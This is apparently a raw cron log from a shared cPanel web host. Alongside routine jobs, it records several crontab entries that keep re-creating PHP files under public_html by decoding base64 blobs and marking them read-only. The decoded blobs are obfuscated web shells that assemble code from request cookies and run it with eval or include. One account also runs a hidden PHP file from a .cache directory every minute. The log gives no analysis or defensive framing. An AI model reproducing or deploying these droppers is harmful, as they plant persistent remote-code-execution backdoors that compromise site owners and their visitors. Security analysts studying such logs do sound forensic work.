Mar  2 08:21:02 medusa CROND[19056]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:21:02 medusa CROND[19057]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:21:02 medusa CROND[19059]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:21:02 medusa CROND[19070]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:22:01 medusa CROND[7149]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:22:01 medusa CROND[7370]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:22:01 medusa CROND[7371]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:22:01 medusa CROND[7372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:22:01 medusa CROND[7373]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:22:01 medusa CROND[7374]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:22:01 medusa CROND[7375]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:22:01 medusa CROND[7377]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:22:01 medusa CROND[7390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:22:01 medusa CROND[7400]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:22:01 medusa CROND[7402]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:22:01 medusa CROND[7405]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:22:01 medusa CROND[7406]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:22:01 medusa CROND[7404]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:23:01 medusa CROND[25167]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:23:01 medusa CROND[25168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:23:01 medusa CROND[25526]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:23:01 medusa CROND[25528]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:23:01 medusa CROND[25527]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:23:01 medusa CROND[25531]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:23:01 medusa CROND[25532]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:23:01 medusa CROND[25533]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
